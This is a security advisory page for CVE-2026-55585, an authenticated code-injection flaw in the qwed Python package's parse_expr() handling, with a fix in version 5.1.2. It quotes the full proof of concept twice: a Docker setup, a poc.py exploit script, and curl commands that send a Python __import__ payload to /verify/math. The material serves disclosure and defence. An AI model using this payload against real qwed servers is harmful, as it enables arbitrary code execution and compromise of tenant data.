CVE-2026-55585: Qwed Remote Code Execution Vulnerability

HIGH
Advisory Identifier: GHSA-q27q-98j4-9pfv
CVSS 8.8
CWE-94
Published
Advisory Summary

CVE-2026-55585 is a HIGH (CVSS 8.8) remote code execution vulnerability (CWE-94: Improper Control of Generation of Code ('Code Injection')) affecting Qwed libraries in the PyPI ecosystem. The issue involves qwed vulnerable to authenticated remote code execution via unsafe sympy `parse_expr()`. Remediation is available by upgrading affected packages to version 5.1.2.

CVE-2026-55585 at a Glance

CVE Identifier CVE-2026-55585
GHSA Identifier GHSA-q27q-98j4-9pfv
Severity HIGH
CVSS v3.1 Base Score 8.8
CWE Classification CWE-94: Improper Control of Generation of Code ('Code Injection')
Affected Product Qwed
Package Ecosystem PyPI
Published Date
Last Updated

Security Impact

CVSS: 8.8

The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H).

Attack Vector Network (AV:N)
Attack Complexity Low (AC:L)
Privileges Required Low (PR:L)
User Interaction None (UI:N)
Scope Unchanged (S:U)
Confidentiality High (C:H)
Integrity High (I:H)
Availability High (A:H)

How to Fix CVE-2026-55585

To remediate this vulnerability, upgrade all affected Qwed dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

qwed fixed: 5.1.2
pip install qwed>=5.1.2
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

pip show qwed

How to Check if You Are Affected

To determine whether your Python environment is affected by CVE-2026-55585, inspect your installed packages using pip:

pip show qwed

Analyze the terminal output to locate any version of Qwed in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 5.1.2), your application is affected.

Note: The pip show qwed command checks currently installed packages in your active Python environment.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-94: Improper Control of Generation of Code ('Code Injection'), where the product constructs all or part of a code segment using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the syntax or behavior of the intended code segment. In Qwed, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

### Summary The `qwed` package (version 5.1.1) passes attacker-controlled input directly to SymPy's `parse_expr()` function without a restricted namespace. Because `parse_expr()` internally calls Python's `eval()`, any authenticated tenant can execute arbitrary Python code inside the API server process. The attack requires only a standard user account, which is freely obtainable through the default-enabled `/auth/signup` endpoint. Successful exploitation gives the attacker full read/write access to the filesystem and the ability to execute operating system commands, resulting in complete server compromise. ### Details The vulnerability exists in two independently reachable code paths: **Primary sink — `POST /verify/math`** `src/qwed_new/api/main.py:442` defines the `/verify/math` route, protected only by `get_current_tenant` (line 444), which accepts any valid tenant API key. The request body field `expression` is read at line 463 and passed through a cosmetic regex normalization at line 495 (`re.sub(r'(\d)(\()', r'\1*\2', expression)`) that performs no security validation. The normalized string is then passed directly to `parse_expr()` at line 504: ```python # src/qwed_new/api/main.py expression = request.get("expression") ... expression_normalized = re.sub(r'(\d)(\()', r'\1*\2', expression) ... parsed = parse_expr(expression_normalized) # line 504 — unsandboxed eval ``` **Secondary sink — `POST /verify/batch`** `src/qwed_new/api/main.py:1481` defines the `/verify/batch` route. Batch items flow through `batch_service.create_job()` (line 1517) into `batch.py:132` where `item.query` is stored verbatim, then processed by `_verify_item()` (line 167). When the item type is `VerificationType.MATH` (line 222), the expression is passed to `parse_expr()` at line 239 with no sanitization: ```python # src/qwed_new/core/batch.py expression = item.query ... parsed = parse_expr(expression) # line 239 — unsandboxed eval ``` `parse_expr()` accepts a `global_dict` and `local_dict` parameter that, when set to `{"__builtins__": {}}` and an allowlist respectively, restrict what names are accessible during evaluation. Neither call site sets these parameters, leaving the full Python built-in namespace available to the attacker. ### PoC **Environment setup (Docker)** ```bash # Build from repository root (one level above vuln-001/) docker build -t qwed-vuln-001 -f vuln-001/Dockerfile . # Run the server (binds to localhost:8765) docker run -d -p 127.0.0.1:8765:8765 --name qwed-vuln-001 qwed-vuln-001 ``` The Dockerfile installs `qwed` from the local repository source with all dependencies and starts the server with the following environment: - `QWED_JWT_SECRET_KEY=test-jwt-secret-abcdefghijklmnopqrstuvwxyz0123456789` - `API_KEY_SECRET=test-api-key-secret-abcdefghijklmnopqrstuvwxyz0123456789` - `QWED_CORS_ORIGINS=http://localhost` - `QWED_SKIP_ENV_INTEGRITY_CHECK=true` - `DATABASE_URL=sqlite:////tmp/qwed-poc.db` **Automated exploit (`poc.py`)** ```bash python3 vuln-001/poc.py --host 127.0.0.1 --port 8765 ``` The script performs three steps: 1. **Register an account** — `POST /auth/signup` with arbitrary email/password/organization (no invite code or admin approval required). 2. **Obtain an API key** — `POST /auth/api-keys` using the JWT returned from signup. 3. **Send the RCE payload** — `POST /verify/math` with the `x-api-key` header and the expression: ``` __import__('pathlib').Path('/tmp/qwed_parse_expr_rce').write_text('pwned_by_parse_expr_rce') ``` **Expected output** ``` [+] Server is ready. [+] Account created; JWT bearer token obtained. [+] API key (first 20 chars): qwed_live_WwNm86Fpnh... [*] expression = __import__('pathlib').Path('/tmp/qwed_parse_expr_rce').write_text('pwned_by_parse_expr_rce') [*] HTTP status : 200 [*] HTTP response: {"is_valid": true, "value": 23.0, "simplified": "23", "original": "23"} [PASS] HTTP 200 returned — payload evaluated without error. ``` The server returns HTTP 200 and `{"value": 23.0}` — the return value of `write_text()` (23 bytes written), cast by SymPy to `Integer(23)`. This proves the Python expression was executed inside the server process. **Decisive verification** ```bash docker exec qwed-vuln-001 cat /tmp/qwed_parse_expr_rce # Expected: pwned_by_parse_expr_rce ``` The same technique applies to `POST /verify/batch` by submitting a batch job with a math item whose `query` field contains the payload; a separate marker file `/tmp/qwed_batch_parse_expr_rce` was also confirmed during dynamic testing. **Manual curl reproduction (no Python script)** ```bash # Step 1: sign up and capture JWT TOKEN=$(curl -sS -X POST http://127.0.0.1:8765/auth/signup \ -H 'Content-Type: application/json' \ -d '{"email":"poc@example.com","password":"Password123!","organization_name":"poc-org"}' \ | python3 -c 'import sys,json; print(json.load(sys.stdin)["access_token"])') # Step 2: create API key APIKEY=$(curl -sS -X POST http://127.0.0.1:8765/auth/api-keys \ -H 'Content-Type: application/json' \ -H "Authorization: Bearer $TOKEN" \ -d '{"name":"poc"}' \ | python3 -c 'import sys,json; print(json.load(sys.stdin)["key"])') # Step 3: send payload rm -f /tmp/qwed_parse_expr_rce curl -sS -X POST http://127.0.0.1:8765/verify/math \ -H 'Content-Type: application/json' \ -H "x-api-key: $APIKEY" \ -d '{"expression":"__import__('"'"'pathlib'"'"').Path('"'"'/tmp/qwed_parse_expr_rce'"'"').write_text('"'"'owned'"'"')"}' # Step 4: confirm file was written by the server process cat /tmp/qwed_parse_expr_rce # Expected: owned ``` ### Impact This is an **Authenticated Remote Code Execution** vulnerability. Any user who can create a tenant account (which is possible by default, since `/auth/signup` requires no invitation or administrator approval) can execute arbitrary Python code inside the API server process with the privileges of the server's operating system user. Concrete impact includes: - **Confidentiality** — read any file accessible to the server process (environment variables, secret keys, database contents, source code). - **Integrity** — write or overwrite any file accessible to the server process, modify database records, plant backdoors. - **Availability** — terminate the server process, exhaust resources, corrupt persistent storage. In a shared multi-tenant deployment, a single tenant can compromise the entire server, affecting all other tenants' data. In a containerized deployment, the immediate impact is container-level compromise; lateral movement depends on the container's network and volume configuration. ### Reproduction artifacts #### `Dockerfile` ```dockerfile # VULN-001 Reproduction Environment # Authenticated RCE via Unsafe SymPy parse_expr() in QWED 5.1.1 # # Build from the repo root (one level above vuln-001/): # docker build -t qwed-vuln-001 -f vuln-001/Dockerfile . # # Run: # docker run -d -p 127.0.0.1:8765:8765 --name qwed-vuln-001 qwed-vuln-001 FROM python:3.12-slim-bookworm ENV PYTHONDONTWRITEBYTECODE=1 \ PYTHONUNBUFFERED=1 WORKDIR /app # Install minimal build dependencies required by some native extensions RUN apt-get update \ && apt-get install -y --no-install-recommends gcc g++ \ && apt-get clean \ && rm -rf /var/lib/apt/lists/* # Copy the repository source COPY repo/ /app/repo/ # Install hatchling build backend, then install the package with all dependencies # z3-solver==4.13.3.0 is pinned in pyproject.toml; wheels are available for CPython 3.12 RUN pip install --no-cache-dir --upgrade pip hatchling \ && pip install --no-cache-dir -e /app/repo # Runtime environment variables — minimal set required to start the server ENV QWED_JWT_SECRET_KEY="test-jwt-secret-abcdefghijklmnopqrstuvwxyz0123456789" \ API_KEY_SECRET="test-api-key-secret-abcdefghijklmnopqrstuvwxyz0123456789" \ QWED_CORS_ORIGINS="http://localhost" \ QWED_SKIP_ENV_INTEGRITY_CHECK="true" \ DATABASE_URL="sqlite:////tmp/qwed-poc.db" EXPOSE 8765 CMD ["python3", "-m", "uvicorn", "qwed_new.api.main:app", \ "--host", "0.0.0.0", "--port", "8765", "--log-level", "warning"] ``` #### `poc.py` ```python #!/usr/bin/env python3 """ Proof of Concept: Authenticated RCE via Unsafe SymPy parse_expr() — VULN-001 Affected product : QWED 5.1.1 (QWED-AI/qwed-verification) Endpoint : POST /verify/math CWE : CWE-94 — Improper Control of Code Generation CVSS : 8.8 (High) CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H Root cause: src/qwed_new/api/main.py:504 passes attacker-controlled input directly to sympy.parsing.sympy_parser.parse_expr() without a restricted global/local namespace. parse_expr() internally calls eval(), so any valid Python expression — including __import__() calls — is executed server-side. Exploit chain: 1. Register an account via POST /auth/signup (open to any user by default) 2. Obtain an API key via POST /auth/api-keys 3. POST /verify/math with expression=<python code> The code runs inside the server process. Observable evidence: - HTTP 200 response (not 4xx/5xx) proves the payload was evaluated - A marker file is written inside the container; verify with: docker exec <container> cat /tmp/qwed_parse_expr_rce Expected content: "pwned_by_parse_expr_rce" Usage: python3 poc.py [--host 127.0.0.1] [--port 8765] """ import argparse import json import sys import time import requests # Path written inside the server process by the RCE payload RCE_MARKER_PATH = "/tmp/qwed_parse_expr_rce" # Content written to the marker file (must not contain quotes) RCE_MARKER_CONTENT = "pwned_by_parse_expr_rce" def wait_for_server(base_url: str, timeout: int = 90) -> bool: """Poll the server health endpoint until it responds or timeout expires.""" print(f"[*] Waiting for server at {base_url} (up to {timeout}s)...") deadline = time.time() + timeout while time.time() < deadline: try: r = requests.get(f"{base_url}/health", timeout=2) if r.status_code < 500: return True except requests.exceptions.ConnectionError: pass time.sleep(2) return False def signup(base_url: str) -> str: """ Create an attacker-controlled account and return the JWT bearer token. /auth/signup is enabled by default and requires no prior authorization. """ payload = { "email": "poc-attacker@example.com", "password": "Attacker1234!", "organization_name": "vuln001-attacker-org", } r = requests.post(f"{base_url}/auth/signup", json=payload, timeout=15) if r.status_code == 400 and "already registered" in r.text: # Account exists from a previous run; sign in instead sign_in_payload = { "email": payload["email"], "password": payload["password"], } r = requests.post(f"{base_url}/auth/signin", json=sign_in_payload, timeout=15) r.raise_for_status() token = r.json()["access_token"] return token def create_api_key(base_url: str, bearer_token: str) -> str: """ Create an API key for the attacker account. Returns the plaintext key (shown only once by the API). """ headers = {"Authorization": f"Bearer {bearer_token}"} r = requests.post( f"{base_url}/auth/api-keys", json={"name": "vuln001-poc"}, headers=headers, timeout=15, ) r.raise_for_status() return r.json()["key"] def exploit(base_url: str, api_key: str) -> dict: """ Send the RCE payload to POST /verify/math. The expression uses pathlib.Path.write_text() which: - Writes RCE_MARKER_CONTENT to RCE_MARKER_PATH inside the server process - Returns an integer (bytes written) that parse_expr() can handle without raising an exception, making the side-effect transparent to the caller The absence of an error and a 200 status code proves code execution. """ expression = ( f"__import__('pathlib')" f".Path('{RCE_MARKER_PATH}')" f".write_text('{RCE_MARKER_CONTENT}')" ) headers = { "Content-Type": "application/json", "x-api-key": api_key, } r = requests.post( f"{base_url}/verify/math", json={"expression": expression}, headers=headers, timeout=20, ) content_type = r.headers.get("content-type", "") body = r.json() if "application/json" in content_type else r.text return {"status_code": r.status_code, "body": body} def main() -> None: parser = argparse.ArgumentParser( description="PoC for VULN-001: Authenticated RCE via SymPy parse_expr() in QWED 5.1.1" ) parser.add_argument("--host", default="127.0.0.1", help="API server host") parser.add_argument("--port", type=int, default=8765, help="API server port") args = parser.parse_args() base_url = f"http://{args.host}:{args.port}" # ── Step 0: wait for server ────────────────────────────────────────────── if not wait_for_server(base_url): print("[FAIL] Server did not become ready within the timeout.") sys.exit(1) print("[+] Server is ready.\n") # ── Step 1: sign up ────────────────────────────────────────────────────── print("[*] Step 1/3: Creating attacker account via POST /auth/signup") bearer_token = signup(base_url) print("[+] Account created; JWT bearer token obtained.\n") # ── Step 2: API key ────────────────────────────────────────────────────── print("[*] Step 2/3: Obtaining API key via POST /auth/api-keys") api_key = create_api_key(base_url, bearer_token) print(f"[+] API key (first 20 chars): {api_key[:20]}...\n") # ── Step 3: exploit ────────────────────────────────────────────────────── rce_expression = ( f"__import__('pathlib')" f".Path('{RCE_MARKER_PATH}')" f".write_text('{RCE_MARKER_CONTENT}')" ) print("[*] Step 3/3: Sending RCE payload to POST /verify/math") print(f" expression = {rce_expression}\n") result = exploit(base_url, api_key) print(f"[*] HTTP status : {result['status_code']}") print(f"[*] HTTP response:\n{json.dumps(result['body'], indent=2)}\n") if result["status_code"] == 200: print("=" * 60) print("[PASS] HTTP 200 returned — payload evaluated without error.") print(f" The server wrote '{RCE_MARKER_CONTENT}' to {RCE_MARKER_PATH}") print() print(" Verify decisive evidence inside the container:") print(f" docker exec qwed-vuln-001 cat {RCE_MARKER_PATH}") print("=" * 60) sys.exit(0) else: print(f"[FAIL] Unexpected HTTP {result['status_code']} — exploit did not succeed.") sys.exit(2) if __name__ == "__main__": main() ```

CVE-2026-55585 Affected Qwed Versions

1 component(s)
Fixed Versions:
5.1.2
Product / Package Ecosystem Affected Versions Fixed Version
qwed
PyPI
< 5.1.2
5.1.2

References

Frequently Asked Questions

What is CVE-2026-55585?
CVE-2026-55585 is a security vulnerability in Qwed involving qwed Vulnerable to Authenticated Remote Code Execution via Unsafe SymPy `parse_expr()` under CWE-94: Improper Control of Generation of Code ('Code Injection').
Which Qwed versions are affected?
Affected versions include releases prior to 5.1.2 across affected packages: qwed.
What version fixes CVE-2026-55585?
Upgrading to 5.1.2 (or the latest patched release for your respective branch) resolves the vulnerability.
Is qwed affected?
Yes, qwed is affected in releases prior to 5.1.2. Upgrade your dependency to 5.1.2 or later.
What is the CVSS score of CVE-2026-55585?
CVE-2026-55585 has a CVSS v3.1 base score of 8.8 (HIGH) with vector string CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H.
What CWE is associated with CVE-2026-55585?
CVE-2026-55585 is classified under CWE-94: Improper Control of Generation of Code ('Code Injection') (The product constructs all or part of a code segment using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the syntax or behavior of the intended code segment.).
How can I check PyPI dependencies for CVE-2026-55585?
Run the dependency tree command: 'pip show qwed'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-q27q-98j4-9pfv",
  "modified" : "2026-08-25T16:25:19Z",
  "published" : "2026-08-25T16:25:19Z",
  "aliases" : [ "CVE-2026-55585" ],
  "summary" : "qwed Vulnerable to Authenticated Remote Code Execution via Unsafe SymPy `parse_expr()`",
  "details" : "### Summary\n\nThe `qwed` package (version 5.1.1) passes attacker-controlled input directly to SymPy's `parse_expr()` function without a restricted namespace. Because `parse_expr()` internally calls Python's `eval()`, any authenticated tenant can execute arbitrary Python code inside the API server process. The attack requires only a standard user account, which is freely obtainable through the default-enabled `/auth/signup` endpoint. Successful exploitation gives the attacker full read/write access to the filesystem and the ability to execute operating system commands, resulting in complete server compromise.\n\n### Details\n\nThe vulnerability exists in two independently reachable code paths:\n\n**Primary sink — `POST /verify/math`**\n\n`src/qwed_new/api/main.py:442` defines the `/verify/math` route, protected only by `get_current_tenant` (line 444), which accepts any valid tenant API key. The request body field `expression` is read at line 463 and passed through a cosmetic regex normalization at line 495 (`re.sub(r'(\\d)(\\()', r'\\1*\\2', expression)`) that performs no security validation. The normalized string is then passed directly to `parse_expr()` at line 504:\n\n```python\n# src/qwed_new/api/main.py\nexpression = request.get(\"expression\")\n...\nexpression_normalized = re.sub(r'(\\d)(\\()', r'\\1*\\2', expression)\n...\nparsed = parse_expr(expression_normalized)   # line 504 — unsandboxed eval\n```\n\n**Secondary sink — `POST /verify/batch`**\n\n`src/qwed_new/api/main.py:1481` defines the `/verify/batch` route. Batch items flow through `batch_service.create_job()` (line 1517) into `batch.py:132` where `item.query` is stored verbatim, then processed by `_verify_item()` (line 167). When the item type is `VerificationType.MATH` (line 222), the expression is passed to `parse_expr()` at line 239 with no sanitization:\n\n```python\n# src/qwed_new/core/batch.py\nexpression = item.query\n...\nparsed = parse_expr(expression)              # line 239 — unsandboxed eval\n```\n\n`parse_expr()` accepts a `global_dict` and `local_dict` parameter that, when set to `{\"__builtins__\": {}}` and an allowlist respectively, restrict what names are accessible during evaluation. Neither call site sets these parameters, leaving the full Python built-in namespace available to the attacker.\n\n### PoC\n\n**Environment setup (Docker)**\n\n```bash\n# Build from repository root (one level above vuln-001/)\ndocker build -t qwed-vuln-001 -f vuln-001/Dockerfile .\n\n# Run the server (binds to localhost:8765)\ndocker run -d -p 127.0.0.1:8765:8765 --name qwed-vuln-001 qwed-vuln-001\n```\n\nThe Dockerfile installs `qwed` from the local repository source with all dependencies and starts the server with the following environment:\n\n- `QWED_JWT_SECRET_KEY=test-jwt-secret-abcdefghijklmnopqrstuvwxyz0123456789`\n- `API_KEY_SECRET=test-api-key-secret-abcdefghijklmnopqrstuvwxyz0123456789`\n- `QWED_CORS_ORIGINS=http://localhost`\n- `QWED_SKIP_ENV_INTEGRITY_CHECK=true`\n- `DATABASE_URL=sqlite:////tmp/qwed-poc.db`\n\n**Automated exploit (`poc.py`)**\n\n```bash\npython3 vuln-001/poc.py --host 127.0.0.1 --port 8765\n```\n\nThe script performs three steps:\n\n1. **Register an account** — `POST /auth/signup` with arbitrary email/password/organization (no invite code or admin approval required).\n2. **Obtain an API key** — `POST /auth/api-keys` using the JWT returned from signup.\n3. **Send the RCE payload** — `POST /verify/math` with the `x-api-key` header and the expression:\n\n```\n__import__('pathlib').Path('/tmp/qwed_parse_expr_rce').write_text('pwned_by_parse_expr_rce')\n```\n\n**Expected output**\n\n```\n[+] Server is ready.\n[+] Account created; JWT bearer token obtained.\n[+] API key (first 20 chars): qwed_live_WwNm86Fpnh...\n[*] expression = __import__('pathlib').Path('/tmp/qwed_parse_expr_rce').write_text('pwned_by_parse_expr_rce')\n[*] HTTP status : 200\n[*] HTTP response: {\"is_valid\": true, \"value\": 23.0, \"simplified\": \"23\", \"original\": \"23\"}\n[PASS] HTTP 200 returned — payload evaluated without error.\n```\n\nThe server returns HTTP 200 and `{\"value\": 23.0}` — the return value of `write_text()` (23 bytes written), cast by SymPy to `Integer(23)`. This proves the Python expression was executed inside the server process.\n\n**Decisive verification**\n\n```bash\ndocker exec qwed-vuln-001 cat /tmp/qwed_parse_expr_rce\n# Expected: pwned_by_parse_expr_rce\n```\n\nThe same technique applies to `POST /verify/batch` by submitting a batch job with a math item whose `query` field contains the payload; a separate marker file `/tmp/qwed_batch_parse_expr_rce` was also confirmed during dynamic testing.\n\n**Manual curl reproduction (no Python script)**\n\n```bash\n# Step 1: sign up and capture JWT\nTOKEN=$(curl -sS -X POST http://127.0.0.1:8765/auth/signup \\\n  -H 'Content-Type: application/json' \\\n  -d '{\"email\":\"poc@example.com\",\"password\":\"Password123!\",\"organization_name\":\"poc-org\"}' \\\n  | python3 -c 'import sys,json; print(json.load(sys.stdin)[\"access_token\"])')\n\n# Step 2: create API key\nAPIKEY=$(curl -sS -X POST http://127.0.0.1:8765/auth/api-keys \\\n  -H 'Content-Type: application/json' \\\n  -H \"Authorization: Bearer $TOKEN\" \\\n  -d '{\"name\":\"poc\"}' \\\n  | python3 -c 'import sys,json; print(json.load(sys.stdin)[\"key\"])')\n\n# Step 3: send payload\nrm -f /tmp/qwed_parse_expr_rce\ncurl -sS -X POST http://127.0.0.1:8765/verify/math \\\n  -H 'Content-Type: application/json' \\\n  -H \"x-api-key: $APIKEY\" \\\n  -d '{\"expression\":\"__import__('\"'\"'pathlib'\"'\"').Path('\"'\"'/tmp/qwed_parse_expr_rce'\"'\"').write_text('\"'\"'owned'\"'\"')\"}'\n\n# Step 4: confirm file was written by the server process\ncat /tmp/qwed_parse_expr_rce\n# Expected: owned\n```\n\n### Impact\n\nThis is an **Authenticated Remote Code Execution** vulnerability. Any user who can create a tenant account (which is possible by default, since `/auth/signup` requires no invitation or administrator approval) can execute arbitrary Python code inside the API server process with the privileges of the server's operating system user.\n\nConcrete impact includes:\n\n- **Confidentiality** — read any file accessible to the server process (environment variables, secret keys, database contents, source code).\n- **Integrity** — write or overwrite any file accessible to the server process, modify database records, plant backdoors.\n- **Availability** — terminate the server process, exhaust resources, corrupt persistent storage.\n\nIn a shared multi-tenant deployment, a single tenant can compromise the entire server, affecting all other tenants' data. In a containerized deployment, the immediate impact is container-level compromise; lateral movement depends on the container's network and volume configuration.\n\n### Reproduction artifacts\n\n#### `Dockerfile`\n\n```dockerfile\n# VULN-001 Reproduction Environment\n# Authenticated RCE via Unsafe SymPy parse_expr() in QWED 5.1.1\n#\n# Build from the repo root (one level above vuln-001/):\n#   docker build -t qwed-vuln-001 -f vuln-001/Dockerfile .\n#\n# Run:\n#   docker run -d -p 127.0.0.1:8765:8765 --name qwed-vuln-001 qwed-vuln-001\n\nFROM python:3.12-slim-bookworm\n\nENV PYTHONDONTWRITEBYTECODE=1 \\\n    PYTHONUNBUFFERED=1\n\nWORKDIR /app\n\n# Install minimal build dependencies required by some native extensions\nRUN apt-get update \\\n    && apt-get install -y --no-install-recommends gcc g++ \\\n    && apt-get clean \\\n    && rm -rf /var/lib/apt/lists/*\n\n# Copy the repository source\nCOPY repo/ /app/repo/\n\n# Install hatchling build backend, then install the package with all dependencies\n# z3-solver==4.13.3.0 is pinned in pyproject.toml; wheels are available for CPython 3.12\nRUN pip install --no-cache-dir --upgrade pip hatchling \\\n    && pip install --no-cache-dir -e /app/repo\n\n# Runtime environment variables — minimal set required to start the server\nENV QWED_JWT_SECRET_KEY=\"test-jwt-secret-abcdefghijklmnopqrstuvwxyz0123456789\" \\\n    API_KEY_SECRET=\"test-api-key-secret-abcdefghijklmnopqrstuvwxyz0123456789\" \\\n    QWED_CORS_ORIGINS=\"http://localhost\" \\\n    QWED_SKIP_ENV_INTEGRITY_CHECK=\"true\" \\\n    DATABASE_URL=\"sqlite:////tmp/qwed-poc.db\"\n\nEXPOSE 8765\n\nCMD [\"python3\", \"-m\", \"uvicorn\", \"qwed_new.api.main:app\", \\\n     \"--host\", \"0.0.0.0\", \"--port\", \"8765\", \"--log-level\", \"warning\"]\n```\n\n#### `poc.py`\n\n```python\n#!/usr/bin/env python3\n\"\"\"\nProof of Concept: Authenticated RCE via Unsafe SymPy parse_expr() — VULN-001\n\nAffected product : QWED 5.1.1 (QWED-AI/qwed-verification)\nEndpoint         : POST /verify/math\nCWE              : CWE-94 — Improper Control of Code Generation\nCVSS             : 8.8 (High) CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H\n\nRoot cause:\n  src/qwed_new/api/main.py:504 passes attacker-controlled input directly to\n  sympy.parsing.sympy_parser.parse_expr() without a restricted global/local\n  namespace.  parse_expr() internally calls eval(), so any valid Python\n  expression — including __import__() calls — is executed server-side.\n\nExploit chain:\n  1. Register an account via POST /auth/signup   (open to any user by default)\n  2. Obtain an API key via POST /auth/api-keys\n  3. POST /verify/math with expression=<python code>\n     The code runs inside the server process.\n\nObservable evidence:\n  - HTTP 200 response (not 4xx/5xx) proves the payload was evaluated\n  - A marker file is written inside the container; verify with:\n      docker exec <container> cat /tmp/qwed_parse_expr_rce\n    Expected content: \"pwned_by_parse_expr_rce\"\n\nUsage:\n  python3 poc.py [--host 127.0.0.1] [--port 8765]\n\"\"\"\n\nimport argparse\nimport json\nimport sys\nimport time\n\nimport requests\n\n# Path written inside the server process by the RCE payload\nRCE_MARKER_PATH = \"/tmp/qwed_parse_expr_rce\"\n# Content written to the marker file (must not contain quotes)\nRCE_MARKER_CONTENT = \"pwned_by_parse_expr_rce\"\n\n\ndef wait_for_server(base_url: str, timeout: int = 90) -> bool:\n    \"\"\"Poll the server health endpoint until it responds or timeout expires.\"\"\"\n    print(f\"[*] Waiting for server at {base_url} (up to {timeout}s)...\")\n    deadline = time.time() + timeout\n    while time.time() < deadline:\n        try:\n            r = requests.get(f\"{base_url}/health\", timeout=2)\n            if r.status_code < 500:\n                return True\n        except requests.exceptions.ConnectionError:\n            pass\n        time.sleep(2)\n    return False\n\n\ndef signup(base_url: str) -> str:\n    \"\"\"\n    Create an attacker-controlled account and return the JWT bearer token.\n    /auth/signup is enabled by default and requires no prior authorization.\n    \"\"\"\n    payload = {\n        \"email\": \"poc-attacker@example.com\",\n        \"password\": \"Attacker1234!\",\n        \"organization_name\": \"vuln001-attacker-org\",\n    }\n    r = requests.post(f\"{base_url}/auth/signup\", json=payload, timeout=15)\n    if r.status_code == 400 and \"already registered\" in r.text:\n        # Account exists from a previous run; sign in instead\n        sign_in_payload = {\n            \"email\": payload[\"email\"],\n            \"password\": payload[\"password\"],\n        }\n        r = requests.post(f\"{base_url}/auth/signin\", json=sign_in_payload, timeout=15)\n    r.raise_for_status()\n    token = r.json()[\"access_token\"]\n    return token\n\n\ndef create_api_key(base_url: str, bearer_token: str) -> str:\n    \"\"\"\n    Create an API key for the attacker account.\n    Returns the plaintext key (shown only once by the API).\n    \"\"\"\n    headers = {\"Authorization\": f\"Bearer {bearer_token}\"}\n    r = requests.post(\n        f\"{base_url}/auth/api-keys\",\n        json={\"name\": \"vuln001-poc\"},\n        headers=headers,\n        timeout=15,\n    )\n    r.raise_for_status()\n    return r.json()[\"key\"]\n\n\ndef exploit(base_url: str, api_key: str) -> dict:\n    \"\"\"\n    Send the RCE payload to POST /verify/math.\n\n    The expression uses pathlib.Path.write_text() which:\n      - Writes RCE_MARKER_CONTENT to RCE_MARKER_PATH inside the server process\n      - Returns an integer (bytes written) that parse_expr() can handle without\n        raising an exception, making the side-effect transparent to the caller\n\n    The absence of an error and a 200 status code proves code execution.\n    \"\"\"\n    expression = (\n        f\"__import__('pathlib')\"\n        f\".Path('{RCE_MARKER_PATH}')\"\n        f\".write_text('{RCE_MARKER_CONTENT}')\"\n    )\n    headers = {\n        \"Content-Type\": \"application/json\",\n        \"x-api-key\": api_key,\n    }\n    r = requests.post(\n        f\"{base_url}/verify/math\",\n        json={\"expression\": expression},\n        headers=headers,\n        timeout=20,\n    )\n    content_type = r.headers.get(\"content-type\", \"\")\n    body = r.json() if \"application/json\" in content_type else r.text\n    return {\"status_code\": r.status_code, \"body\": body}\n\n\ndef main() -> None:\n    parser = argparse.ArgumentParser(\n        description=\"PoC for VULN-001: Authenticated RCE via SymPy parse_expr() in QWED 5.1.1\"\n    )\n    parser.add_argument(\"--host\", default=\"127.0.0.1\", help=\"API server host\")\n    parser.add_argument(\"--port\", type=int, default=8765, help=\"API server port\")\n    args = parser.parse_args()\n\n    base_url = f\"http://{args.host}:{args.port}\"\n\n    # ── Step 0: wait for server ──────────────────────────────────────────────\n    if not wait_for_server(base_url):\n        print(\"[FAIL] Server did not become ready within the timeout.\")\n        sys.exit(1)\n    print(\"[+] Server is ready.\\n\")\n\n    # ── Step 1: sign up ──────────────────────────────────────────────────────\n    print(\"[*] Step 1/3: Creating attacker account via POST /auth/signup\")\n    bearer_token = signup(base_url)\n    print(\"[+] Account created; JWT bearer token obtained.\\n\")\n\n    # ── Step 2: API key ──────────────────────────────────────────────────────\n    print(\"[*] Step 2/3: Obtaining API key via POST /auth/api-keys\")\n    api_key = create_api_key(base_url, bearer_token)\n    print(f\"[+] API key (first 20 chars): {api_key[:20]}...\\n\")\n\n    # ── Step 3: exploit ──────────────────────────────────────────────────────\n    rce_expression = (\n        f\"__import__('pathlib')\"\n        f\".Path('{RCE_MARKER_PATH}')\"\n        f\".write_text('{RCE_MARKER_CONTENT}')\"\n    )\n    print(\"[*] Step 3/3: Sending RCE payload to POST /verify/math\")\n    print(f\"    expression = {rce_expression}\\n\")\n\n    result = exploit(base_url, api_key)\n\n    print(f\"[*] HTTP status : {result['status_code']}\")\n    print(f\"[*] HTTP response:\\n{json.dumps(result['body'], indent=2)}\\n\")\n\n    if result[\"status_code\"] == 200:\n        print(\"=\" * 60)\n        print(\"[PASS] HTTP 200 returned — payload evaluated without error.\")\n        print(f\"       The server wrote '{RCE_MARKER_CONTENT}' to {RCE_MARKER_PATH}\")\n        print()\n        print(\"       Verify decisive evidence inside the container:\")\n        print(f\"         docker exec qwed-vuln-001 cat {RCE_MARKER_PATH}\")\n        print(\"=\" * 60)\n        sys.exit(0)\n    else:\n        print(f\"[FAIL] Unexpected HTTP {result['status_code']} — exploit did not succeed.\")\n        sys.exit(2)\n\n\nif __name__ == \"__main__\":\n    main()\n```",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "PyPI",
      "name" : "qwed"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "5.1.2"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
